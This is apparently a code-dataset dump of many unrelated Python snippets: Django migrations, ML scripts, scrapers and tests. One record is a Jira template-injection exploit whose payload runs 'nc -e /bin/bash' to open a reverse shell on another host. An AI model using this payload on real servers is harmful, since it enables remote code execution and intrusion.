id
stringlengths
1
8
text
stringlengths
6
1.05M
dataset_id
stringclasses
1 value
166466
<filename>generic_links/migrations/0001_initial.py # -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations from django.conf import settings class Migration(migrations.Migration): dependencies = [ ('contenttypes', '__first__'), migrations.swappable...
StarcoderdataPython
3397939
import numpy as np import pandas as pd from sklearn.model_selection import train_test_split from sklearn.preprocessing import StandardScaler from sklearn.preprocessing import Normalizer from sklearn.model_selection import cross_val_score from imblearn.under_sampling import RandomUnderSampler import matplotlib.py...
StarcoderdataPython
4916746
<reponame>khan9797/parser from scapy.all import Packet, raw from scapy.layers.inet import IP, Ether, TCP, UDP from scapy.layers.l2 import Dot1Q from scapy.layers.sctp import SCTP payload = '0' * 640 ether_hdr = Ether(src='00:34:56:78:9a:bc',dst='00:45:67:89:ab:cd') ip_hdr = IP(version=0x04,ihl=0x5,tos=0x0,id=0x0001...
StarcoderdataPython
6600552
# Python script for rewriting a docker env file. # usage: patch_env dockerenv_input.env dockerenv_output.env # Copies each input line to the output, except when it is of the form # VAR_X=value # and an environment variable PATCH_VAR_X exists: then its value is used. # Performs no error handling. import os import re ...
StarcoderdataPython
11307338
import os import unittest from kontur import FocusClient class TestKonturFocus(unittest.TestCase): def setUp(self): api_key = os.getenv('FOCUS_API_KEY', None) if api_key is None: raise Exception('Set FOCUS_API_KEY env varible') self.client = FocusClient(api_key) def test_...
StarcoderdataPython
40253
""" Tool for 'leave-one-out' testing features in dataset. Adds use_column parameter for lightgbm CLI, which works like an opposite one to ignore_columns. Example usage -------------- >>> python lgbm_tool.py --use_column=column1,column2,column3 \ >>> config=path_to_config data=path_to_data valid=pat...
StarcoderdataPython
322709
# # calculation of synthetic accessibility score as described in: # # Estimation of Synthetic Accessibility Score of Drug-like Molecules based on Molecular Complexity and Fragment Contributions # <NAME> and <NAME> # Journal of Cheminformatics 1:8 (2009) # http://www.jcheminf.com/content/1/1/8 # # several small modifica...
StarcoderdataPython
6419637
<filename>notes/eos/units.py ################################################## #Physical conversion factors #Particle Data Group (Review of particle Physics 2015) values # in SI units #c = 2.99792458e8 #speed of light #h = 6.62607004081e-34 #Planck constant #G = 6.6730831e-11 #gravitational constant...
StarcoderdataPython
1882256
<gh_stars>0 # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to ...
StarcoderdataPython
9783152
class Solution: def lengthOfLongestSubstringV1(self, s: str) -> int: char_map = [None] * 128 start, ans = -1, 0 for i, c in enumerate(s): code = ord(c) if char_map[code] != None: start = max(start, char_map[code]) char_map[code] = i ...
StarcoderdataPython
8095850
<reponame>Ganyuhao/executor #!/usr/bin/env python # -*- coding: utf-8 -*- """ 单元测试基类 """ import os import tempfile import unittest from executor.common.config import Manage import yaml def get_config_item(item, default, type_c): upper_item = str(item).upper().replace("-", "_") env_var = os.getenv("FUCKER_EX...
StarcoderdataPython
3282968
<reponame>shawncal/ELL ################################################################################################### # # Project: Embedded Learning Library (ELL) # File: classifier.py # Authors: <NAME> # # Requires: Python 3.x # ###########################################################################...
StarcoderdataPython
177906
#!/usr/bin/python import sys from collections import defaultdict from collections import OrderedDict print 'Begin to combine files:', ((sys.argv[1]).split('/'))[-1], ((sys.argv[2]).split('/'))[-1] bo_dict = defaultdict(list) fi = open(sys.argv[1], 'r') #wyb.imp for line in fi: s = line.strip().split() #s[0] =...
StarcoderdataPython
312394
<gh_stars>0 import shutil import urllib.request import os import hashlib import sys import zipfile import json import pprint from os.path import dirname from PIL import Image from urllib.request import urlretrieve from patoolib import extract_archive from time import sleep import requests import ssl import cv2 import r...
StarcoderdataPython
3542623
# coding: utf-8 from __future__ import unicode_literals import pytest @pytest.mark.parametrize('text', ["ق.م", "إلخ", "ص.ب", "ت."]) def test_ar_tokenizer_handles_abbr(ar_tokenizer, text): tokens = ar_tokenizer(text) assert len(tokens) == 1 def test_ar_tokenizer_handles...
StarcoderdataPython
3207181
import vel.util.intepolate as interpolate from vel.api.base import Schedule class LinearSchedule(Schedule): """ Interpolate variable linearly between start value and final value """ def __init__(self, initial_value, final_value): self.initial_value = initial_value self.final_value = final_va...
StarcoderdataPython
4837961
import re n = int(input()) regex = '[?+-]*\d?\.\d+' for x in range(n): num = input() m = re.search(regex, num) if m: try: f = float(num) print(True) except: print(False) else: print(False)
StarcoderdataPython
358493
# Copyright 2022 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, ...
StarcoderdataPython
1942191
"""Handlers for oauth.""" from fastapi_aad_auth.oauth.aad import AADOAuthBackend # noqa F401 from fastapi_aad_auth.oauth.state import AuthenticationState # noqa F401
StarcoderdataPython
6427091
import ctypes import os import sys import logging from . import timer from .exit import has_exit_hooks, invoke_exit_callbacks from .globs import (DEFAULT_BASIC_BLOCK_LIMIT, DEFAULT_FUZZ_CONSUMPTION_TIMEOUT, DEFAULT_MAX_INTERRUPTS, FUZZ_MODES, TRIGGER_MODES) from .mmio_models.wr...
StarcoderdataPython
3229256
""" Advent of code 2017 day 15/1 """ from argparse import ArgumentParser class Generator(object): """ Value generators """ def __init__(self, factor, initial, name): """ Constructor for the object """ self.factor = factor self.prev_value = initial self.name = name def __nex...
StarcoderdataPython
9686840
<gh_stars>0 #!/usr/bin/env python def fact(n): m = 1 for i in range(1, n+1): m *= i return m if __name__ == '__main__': number = int(input('Input a small number: ')) print(fact(number))
StarcoderdataPython
11324747
from rul_pm.models.keras.keras import KerasTrainableModel from tensorflow.keras import Input, Model, optimizers from tensorflow.keras.layers import (Concatenate, Conv2D, Dense, Dropout, Flatten, Permute, Reshape) class MVCNN(KerasTrainableModel): """ Mode...
StarcoderdataPython
3493107
from abc import ABC, abstractmethod import numpy as np class Intrinsics(ABC): @property @abstractmethod def f_x(self) -> np.float32: pass @property @abstractmethod def f_y(self) -> np.float32: pass @property @abstractmethod def c_x(self) -> np.float32: pa...
StarcoderdataPython
216208
TRAINING_FILE_ORIG = '../input/adult.csv' TRAINING_FILE = '../input/adult_folds.csv'
StarcoderdataPython
12803939
<reponame>gmc-norr/scout import logging import click from flask.cli import with_appcontext from scout.server.extensions import store LOG = logging.getLogger(__name__) @click.command("institutes", short_help="Display institutes") @click.option("-i", "--institute-id", help="What institute to show") @click.option("--...
StarcoderdataPython
5155110
<gh_stars>0 from six import string_types from django import forms from django.core.exceptions import ValidationError from collections import OrderedDict from .registries import user_preferences_registry from ..forms import ( SinglePerInstancePreferenceForm, preference_form_builder, PreferenceForm ) from .....
StarcoderdataPython
11286515
import airlock from . import emails from . import sync from . import messages from . import models from google.appengine.datastore import datastore_query from google.appengine.ext import ndb from google.appengine.ext.ndb import msgprop from protorpc import protojson import csv import io import json import logging PER_...
StarcoderdataPython
9731656
<reponame>kamira/DiscordBOT import discord from discord.ext import commands from core.classes import Cog_Extension class Ping(Cog_Extension): @commands.command() async def ping(self, ctx): await ctx.send(f"Bot latency: {self.bot.latency * 1000:0.2f} ms") def setup(bot): bot.add_cog(Ping(bot))
StarcoderdataPython
1614081
import math co = float(input('\033[34mComprimento do cateto oposto: ')) ca = float(input('\033[35mComprimento do cateto adjacente: ')) hi = math.hypot(co, ca) print('\033[mA hipotenusa vai medir %.2f' % hi)
StarcoderdataPython
4956284
<gh_stars>0 def test_given_ruby_gems_are_installed(host): gems = ['pod', 'xcpretty', 'bundler', 'fastlane'] for gem in gems: assert host.exists(gem) def test_pod_versions(host): assert host.run("pod --version").stdout.startswith('1.10.1') assert host.run("xcpretty --version").stdout.startswith('0...
StarcoderdataPython
5060663
<gh_stars>0 from django.db import models from materials.models import * class Supplier(models.Model): s_name = models.CharField(max_length=100) s_phone = models.CharField(max_length=14) date = models.DateTimeField(auto_now_add=True) materials = models.ForeignKey(Material, on_delete=models.CASCADE) ...
StarcoderdataPython
3243286
<filename>week6/lecture11/subsets.py # -*- coding: utf-8 -*- """ Created on Tue Jun 21 22:34:32 2016 @author: ericgrimson """ def genSubsets(L): res = [] if len(L) == 0: return [[]] #list of empty list smaller = genSubsets(L[:-1]) # all subsets without last element extra = L[-1:] # create a li...
StarcoderdataPython
3241486
<reponame>my-aws-org/cloudiscovery<gh_stars>0 from unittest import TestCase from unittest.mock import MagicMock from provider.vpc.command import check_ipvpc_inpolicy class Test(TestCase): def test_check_ipvpc_inpolicy(self): vpce = {"VpcEndpoints": [{"VpcEndpointId": "vpce-1234abcd", "VpcId": "dummy"}]} ...
StarcoderdataPython
122692
<reponame>tvanslyke/strdict import collections import collections.abc import gc import random import string import sys import unittest import weakref from StringDict import strdict class DictTest(unittest.TestCase): def test_invalid_keyword_arguments(self): class Custom(strdict): pass ...
StarcoderdataPython
4916224
# -*- coding: utf-8 -*- import numpy import mab.gd.logging as logging logger = logging.getLogger("gd.optimize.fitting") from kaplot import * class Fitting(object): def __init__(self, fitter, data, xattr, sigma_xattr, filename): self.fitter = fitter self.data = data self.xattr = xattr self.sigma_xattr = sigma...
StarcoderdataPython
6402001
<filename>parsl/tests/integration/test_channels/test_ssh_file_transport.py<gh_stars>100-1000 import parsl from parsl.channels.ssh.ssh import SSHChannel as SSH def connect_and_list(hostname, username): conn = SSH(hostname, username=username) ec, out, err = conn.execute_wait("echo $HOSTNAME") conn.close() ...
StarcoderdataPython
9759871
import os from configobj import ConfigObj BASE_DIR = os.path.dirname(os.path.dirname(__file__)) config = ConfigObj( os.path.join(os.path.dirname(BASE_DIR), 'settings.conf') )
StarcoderdataPython
6459452
<gh_stars>1-10 # -*- coding: utf-8 -*- # Part of Odoo. See LICENSE file for full copyright and licensing details. import auth_oauth import ir_config_parameter import res_config import res_users
StarcoderdataPython
8186394
import numpy as np import matplotlib.pyplot as plt from scipy.integrate import odeint from scipy.optimize import minimize from scipy.interpolate import interp1d import warnings # Import data file # Column 1 = time (t) # Column 2 = input (u) # Column 3 = output (yp) data = np.loadtxt('data_step_test.csv',del...
StarcoderdataPython
9695412
import base64 from Crypto import Random import json class SpinnerException(Exception): pass class Spinner(object): def __init__(self, key_matrix): self._keys = key_matrix # check key matrix is well formed num_iterations = len(self._keys) assert num_iterations > 0 num...
StarcoderdataPython
11393073
""" :class:`.GoogleV3` is the Google Maps V3 geocoder. """ from warnings import warn import base64 import hashlib import hmac from geopy.compat import urlencode from geopy.geocoders.base import Geocoder, DEFAULT_TIMEOUT, DEFAULT_SCHEME from geopy.util import logger from geopy.exc import GeocoderQueryError, GeocoderQu...
StarcoderdataPython
3544843
#!/usr/bin/python import mechanize url="http://jira-server:8080/secure/ContactAdministrators!default.jspa" exploit="$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('nc -e /bin/bash jira-smtp 12345').waitFor()" br = mechanize.Browser() br.set_handle_robots(False) br.o...
StarcoderdataPython
6552001
from django.contrib import admin from django.urls import path, include from rest_framework import routers from core.views import * router = routers.DefaultRouter() router.register('usuarios', UsuarioViewSet) router.register('grupoVeiculos', Grupo_veiculoViewSet) router.register('veiculos', VeiculoViewSet) router.re...
StarcoderdataPython
4786
def solve(n, red , blue): rcount = bcount = 0 for i in range(n): if int(red[i]) > int(blue[i]): rcount = rcount +1 elif int(red[i]) < int(blue[i]): bcount = bcount + 1 print( 'RED' if rcount>bcount else ('BLUE' if bcount>rcount else 'EQUAL')) if __name__ == "__ma...
StarcoderdataPython
3204918
from django.contrib.auth.decorators import login_required from django.contrib.auth.forms import PasswordChangeForm from django.contrib.auth import update_session_auth_hash from django.shortcuts import render from django.urls import reverse from ..forms import UserProfileForm from ..utilities import set_message_and_red...
StarcoderdataPython
6700024
<reponame>yag8009/office_test_team #!/usr/bin/env python # -*- coding: utf-8 -*- # @Author : yag8009 # @FileName : read_word # @Time : 2020/6/13 import docx import os,zipfile,shutil def read_word(file_name): # path = "append/***.docx" strfile = [] file = docx.Document(file_name) for p in file.pa...
StarcoderdataPython
1862972
def find_mod(path, dic): """用字典中的词发现文本模式""" file_list = os.listdir(path) word_list = read_dict(dic) word_count = {} #用一个字典保存, key为发现的文本模式, 键值为匹配该模式的词典中的词的数目 mod_list = [] #文本模式以列表形式保存 word_match = {} p = 5 q = 5 for file in file_list: with open(os.path.joi...
StarcoderdataPython
4966018
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Tue Jul 27 12:46:12 2021 @author: zaidanma """ import pandas as pd import numpy as np from sklearn import feature_selection from Functions.Functions import sunreset #import matplotlib.pyplot as plt SMEAR2 = pd.read_excel("SMEARII/SMEAR2.xlsx") dtypes_SMEA...
StarcoderdataPython
3284695
<filename>machine_learning/regression/LogisticRegression.py<gh_stars>1-10 __author__ = "<NAME>" __copyright__ = "Free to use, copy and modify" __credits__ = ["<NAME>"] __license__ = "MIT Licence" __version__ = "0.0.1" __maintainer__ = "<NAME>" __email__ = "<EMAIL>" import numpy as np import importlib import math impo...
StarcoderdataPython
9615862
<gh_stars>1-10 """ Copyright (C) 2021 ETH Zurich. All rights reserved. Author: <NAME>, ETH Zurich Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licens...
StarcoderdataPython
6419342
#! /usr/bin/env python #-*- coding: utf-8 -*- import requests from bs4 import BeautifulSoup import os class Tutsplus: login_url= 'https://tutsplus.com/amember/login.php' def __init__(self, username, password): self.username = username self.password = password self.login() # Re...
StarcoderdataPython
11211422
# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'ItemEditor.ui' # # Created: Thu Jan 1 18:00:12 2015 # by: PyQt4 UI code generator 4.10.2 # # WARNING! All changes made in this file will be lost! from PyQt4 import QtCore, QtGui try: _fromUtf8 = QtCore.QString.fromUtf8 except Att...
StarcoderdataPython
3590004
<reponame>peterbe/configman # ***** BEGIN LICENSE BLOCK ***** # Version: MPL 1.1/GPL 2.0/LGPL 2.1 # # The contents of this file are subject to the Mozilla Public License Version # 1.1 (the "License"); you may not use this file except in compliance with # the License. You may obtain a copy of the License at # http://www...
StarcoderdataPython
1895510
<filename>senlin/api/openstack/v1/cluster_policies.py # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable la...
StarcoderdataPython
8008412
import numpy as np import pandas as pd from nltk.corpus import reuters import text_clean as tc # quick summary of the reuters corpus print("$$$ The reuters corpus has {} tags".format(len(reuters.categories()))) print("$$$ The reuters corpus has {} documents".format(len(reuters.fileids()))) # create counter t...
StarcoderdataPython
3394177
import os folder = "C:/Users/Pasca/OneDrive/Dokumente/Master_3.Semester/Master_3.Semester/SYSL/Cascade_Classifier/" neg_data = "neg_red_triangle_channel++" f = open(folder + neg_data + "_bg.txt", "w") for img in os.listdir(folder + neg_data): f.write(neg_data + "/" + img + "\n") f.close()
StarcoderdataPython
1612439
<filename>pysma/definitions.py """Sensor definitions for SMA WebConnect library for Python.""" from .const import ( DEVCLASS_BATTERY, DEVCLASS_ENERGY_METER, DEVCLASS_INVERTER, DEVICE_INFO, ENERGY_METER_VIA_INVERTER, JMESPATHS_TAG, OPTIMIZERS_VIA_INVERTER, ) from .sensor import Sensor # Stat...
StarcoderdataPython
11275227
<gh_stars>1-10 """ This script runs the webapp application using a development server. """ from os import environ from webapp import app from config import DEBUG if __name__ == '__main__': HOST = environ.get('SERVER_HOST', 'localhost') try: PORT = int(environ.get('SERVER_PORT', '5000')) except Val...
StarcoderdataPython
4979330
from pycoin.key.BIP32Node import * from . import config from .interfaces.counterwalletseed import mnemonicToEntropy import time import json import os from .errors import PyPayWalletError NETCODES = {"mainnet": "BTC", "testnet": "XTN"} #To Do: enable autosweep, privkey_mode only #sweep address function #sweep branch fu...
StarcoderdataPython
278266
<gh_stars>1-10 #!/usr/bin/env python import csv import sys REMOVE_COLUMNS = [ 'special_designations', 'record_created', 'record_modified', 'user_modified', ] def main(): reader = csv.DictReader(sys.stdin) outnames = [f for f in reader.fieldnames if f not in REMOVE_COLUMNS] writer = csv.Di...
StarcoderdataPython
1839418
<gh_stars>10-100 # -*- coding: utf-8 -*- # @Time : DATE:2021/10/9 # @Author : yan # @Email : <EMAIL> # @File : 04_bspline_fitting.py import pclpy from pclpy import pcl import numpy as np import sys def PointCloud2Vector3d(cloud, data): pass def visualizeCurve(curve, surface, viewer): pass if __name__ == '_...
StarcoderdataPython
4804961
import requests import os import json """ Defines a connection to a Persist Key/Value Store """ class PersistStore: def __init__(self): self.base_url = 'https://beepboophq.com/api/v1/persist/kv' self.token = os.getenv("BEEPBOOP_TOKEN", "") def list_keys(self): r = requests.get(self.bas...
StarcoderdataPython
1887741
<filename>WEB21-1-12/WEB2/tempcomp/urls.py<gh_stars>0 from django.urls import path, re_path from . import views urlpatterns = [ re_path(r'^show_history/$',views.show_tempcomp_history,), re_path(r'^clear_history/$',views.clear_tempcomp_history,), re_path(r'^set_history/$',views.set_tempcomp_history,), ...
StarcoderdataPython
9798807
<filename>start.py<gh_stars>1-10 #!/usr/bin/python3.7 import re import logging from sys import path as syspath from aiogram import Bot, Dispatcher, executor, types from aiogram.types import InlineQuery, InputTextMessageContent, InlineQueryResultArticle, \ InlineKeyboardButton from configparser import ConfigParser f...
StarcoderdataPython
5038288
<reponame>LeLuxNet/GridPy from lib import app, led class App(app.GridGame): def __init__(self): super().__init__("TicTacToe", 3, 3, 3) self.board = self.calc_board() def _render(self, cords): x = (cords.x - self.board[2]) // self.board[1] y = (cords.y - self.board[4]) // self...
StarcoderdataPython
3509999
<reponame>linlin-yu/Graph-Posterior-Network from gpn.data import DatasetManager, get_ood_split_evasion from gpn.data import InMemoryDatasetProvider, OODInMemoryDatasetProvider from gpn.data import OODIsolatedInMemoryDatasetProvider from gpn.utils import DataConfiguration def set_num_left_out(data_cfg: DataConfigurati...
StarcoderdataPython
8085651
<reponame>ehealthz-lab/microservice-chatbot-python-template #!/usr/bin/env python # -*- coding: utf-8 -*- import configparser from objects import tokens import requests configfile = "config.conf" # Configuration file class deregistration(): def __init__(self): self.config = {} # Client Config...
StarcoderdataPython
9644966
<filename>tests/test_quadrature.py import unittest import numpy as np from empirical.quadrature import * def function(x): return x * np.sin(30 * x) + np.cos(5 * x) def function_integral(x): return (-(1 / 30) * x * np.cos(30 * x) + (1 / 5) * np.sin(5 * x) + (1 / 900) * np.sin(30 * x))...
StarcoderdataPython
1627221
# exports the skin gcode for each layer into their own skin layer files import PRNTR import shutil path1 = PRNTR.location bottom_range1 = PRNTR.bottom_range bottom_range2 = int('{}'.format(bottom_range1)) print(bottom_range2) top_range1 = PRNTR.top_range top_range2 = int('{}'.format(top_range1)) print(top_range2) de...
StarcoderdataPython
4867819
from splunk_http_event_collector import http_event_collector def getHecConn(token, host, event_type, event_host, port, secure): hec = http_event_collector( token, host, event_type, event_host, port, secure) hec_reachable = hec.check_connectivity() if not h...
StarcoderdataPython
8015776
<filename>benchmark.py from pampy import match, _ from pattern_matching import * def test_pampy(data): for datum in data: match(datum, [_, str, _], lambda a, b, c: "%s(%s)%s"%(a, b, c), (str, int), lambda a, b: a * b, (int, int), lambda a, b: "%d%d"%(a, b)) class Match...
StarcoderdataPython
1832311
import re import ast from contextlib import suppress from random import randint from typing import Union, List, Tuple, Optional class GameError(Exception): pass class Card: COLOR_CODES = ['r', 'd', 'o', 'e', 's', 'x'] COLOR_SHORT_NAMES = ["ruby ", "diamd", "onyx ", "emrld", "saphi", "artcr"...
StarcoderdataPython
3512809
#!/usr/bin/env python """ Main objects of the systems: Part and Assembly """ # Standard library modules. import operator import functools # Third party modules. # Local modules. from fsaecostreport.pattern import SYS_ASSY_PN, SUB_ASSY_PN, PART_PN # Globals and constants variables. @functools.total_ordering class ...
StarcoderdataPython
1988353
import os import json from collections import OrderedDict from flask_appbuilder import Model from sqlalchemy import Table, Column, Integer, String, ForeignKey, Date, Float, Text import sqlalchemy as sa class IRT(Model): __tablename__ = "iRT" id = Column(Integer, primary_key=True) field_name = Column(Text,...
StarcoderdataPython
11369924
<reponame>mpkato/openliveq<gh_stars>1-10 class QueryQuestion(object): def __init__(self, query_id, question_id): self.query_id = query_id self.question_id = question_id @classmethod def readline(cls, line): ls = [l.strip() for l in line.split("\t")] if len(ls) != 2: ...
StarcoderdataPython
6581677
from NN.main.train import train from NN.main.predict import predict
StarcoderdataPython
6496251
<filename>tests/test_auth.py """Unit tests for the authorization module.""" import unittest if __name__ == '__main__': pass
StarcoderdataPython
1819446
"""Infrastructure for detecting abstraction barrier violations.""" class AbstractionViolation(Exception): pass def datatype(obj): return type(obj).__name__ # Generic abstract data type class Abstract(object): def __add__(self, other): raise AbstractionViolation("Can't add {} object to {}".format(...
StarcoderdataPython
8048287
<filename>plugins/seo_amp.py<gh_stars>1-10 """manifest plugin""" from typing import TYPE_CHECKING, List from bs4 import BeautifulSoup from markata import Markata, __version__ from markata.hookspec import hook_impl if TYPE_CHECKING: import frontmatter from bs4.element import Tag from urllib import request as ...
StarcoderdataPython
6635727
# Copyright 2016 Oursky Ltd. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, ...
StarcoderdataPython
1843386
import torch import torch.nn.functional as F def projection_transH(entity, relation_norm): return entity - torch.sum(entity * relation_norm, dim=1, keepdim=True) * relation_norm def projection_transR(entity,proj_matrix,embedding_dim): entity = entity.view(-1,embedding_dim,1) proj_matrix = proj_matrix.view...
StarcoderdataPython
3505894
<gh_stars>0 """Retrieve futures' settlement data from B3 exchange""" __version__ = "0.02" from b3_settlements.api import *
StarcoderdataPython
1739098
from django.conf.urls import url from django.contrib.auth import views as auth_views from . import views, tables, api app_name = 'dz' urlpatterns = [ url(r'^$', views.index, name='index'), url(r'^login/$', auth_views.login, {'template_name': 'dz/tables/login.html'}, name='login'), url(r'^tables/ne...
StarcoderdataPython
189039
from PyQt5.QtCore import * from PyQt5.QtWidgets import * from PyQt5.QtGui import * class FileBrowser(QWidget): def __init__(self): QWidget.__init__(self) self.init_gui_elements() self.construct_gui() self.update_gui() def init_gui_elements(self): self.layout = QVBox...
StarcoderdataPython
208997
<reponame>dstlmrk/pytwitterwall #!/usr/bin/env python3.4 # coding=utf-8 import pytest import flexmock from pytwitterwall import Twitterwall from io import StringIO import builtins import betamax import os import sys from betamax.cassette import cassette def sanitize_token(interaction, current_cassette): # Exit ...
StarcoderdataPython
8059707
# Generated by Django 3.2.5 on 2021-07-07 03:10 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('Configuration', '0002_auto_20210702_2224'), ] operations = [ migrations.AddField( model_name='paymentmethod', name='...
StarcoderdataPython
1781736
<reponame>FredrikBakken/Norwegian-Stocks-Rating #!/usr/bin/env python3 # -*- coding: utf-8 -*- ''' ### DOWNLOAD SCRIPT ### ### PURPOSE ### The purpose of the download script is to download all current stock data from the different norwegian markets, ### then storing the relevant data into the stocks database. ### ### ...
StarcoderdataPython
6483718
<filename>src/board_test.py<gh_stars>0 #!/usr/bin/env python import unittest2 from board import PlayerType, Move, Board, InvalidMoveException, BoardSpec __author__ = '<NAME>' class SmallBoardTest(unittest2.TestCase): def setUp(self): board_spec = BoardSpec(3, 3, 3) self.test_board = Board(board...
StarcoderdataPython
1625319
<filename>lists/admin.py from django.contrib import admin from lists.models import List class ListAdmin(admin.ModelAdmin): list_display = ('name', 'description', 'type', 'user', 'privacy') list_filter = ('type', 'user', 'privacy') search_fields = ('name', 'description') admin.site.register(List, ListAdm...
StarcoderdataPython
9660534
#!/usr/bin/env python from pydpiper.pipeline import CmdStage, Pipeline from atoms_and_modules.registration_functions import isFileHandler import atoms_and_modules.registration_functions as rf from os.path import abspath, basename, splitext, join from os import curdir import pydpiper.file_handling as fh import sys impo...
StarcoderdataPython
51282
#!/usr/bin/env python # -*- coding: utf-8 -*- """ Constant settings for Cowbird application. Constants defined with format ``COWBIRD_[VARIABLE_NAME]`` can be matched with corresponding settings formatted as ``cowbird.[variable_name]`` in the ``cowbird.ini`` configuration file. .. note:: Since the ``cowbird.ini`` ...
StarcoderdataPython
11265408
<reponame>ganeshutah/FPChecker import os import pathlib import sys import subprocess sys.path.insert(1, str(pathlib.Path(__file__).parent.absolute())+"/../../../../parser") #sys.path.insert(1, '/usr/workspace/wsa/laguna/fpchecker/FPChecker/parser') from tokenizer import Tokenizer from instrument import Instrument RUN...
StarcoderdataPython
47343
<filename>Tkinter_Aula11_Gerenciador_de_Layout_GRID.py #************************************************************************************************* # GERENCIADOR DE LAYOUT GRID #************************************************************************************************* #INCLU...
StarcoderdataPython
11299580
<reponame>GoTo-Coders/Competitive-Programming<gh_stars>1-10 # Link --> https://www.hackerrank.com/challenges/sparse-arrays/problem # Code: def matchingStrings(strings, queries): answer = [] for i in range(len(queries)): counter = 0 for j in range(len(strings)): if queries[i] == stri...
StarcoderdataPython
1657714
<gh_stars>0 import pickle from pokemon import * from pessoa import * def escolher_pokemon_incial(player): print(f"Olá {player}, agora você deve escolher o pokemon que lhe acompanhará nessa jornada!") pk1 = PokemonAgua("Squirtle", level=1) pk2 = PokemonFogo("Charmander", level=1) pk3 = PokemonEletrico(...
StarcoderdataPython
152028
<reponame>Gabriel-p/pyABC from typing import Union import numpy as np import pandas as pd import scipy.stats as stats from ..parameters import Parameter from .base import DiscreteTransition class DiscreteRandomWalkTransition(DiscreteTransition): """ This transition is based on a discrete random walk. This m...
StarcoderdataPython
3559437
import os import random import pandas as pd from PIL import Image from torch.utils.data import Dataset, DataLoader import torchvision.transforms as transforms random.seed(16) class CRC_Dataset(Dataset): def __init__(self, args): super(CRC_Dataset, self).__init__() self.args = args ...
StarcoderdataPython
157813
<reponame>tallandroid/incubator-marvin #!/usr/bin/env python # coding=utf-8 from .prediction_preparator import PredictionPreparator from .predictor import Predictor from .feedback import Feedback
StarcoderdataPython
307517
#!/usr/bin/env python3 # Copyright 2021 by <NAME>, Robotic Systems Lab, ETH Zurich. # All rights reserved. # This file is released under the "BSD-3-Clause License". # Please see the LICENSE file that has been included as part of this package. import copy import math import torch import mlflow import numpy as np impor...
StarcoderdataPython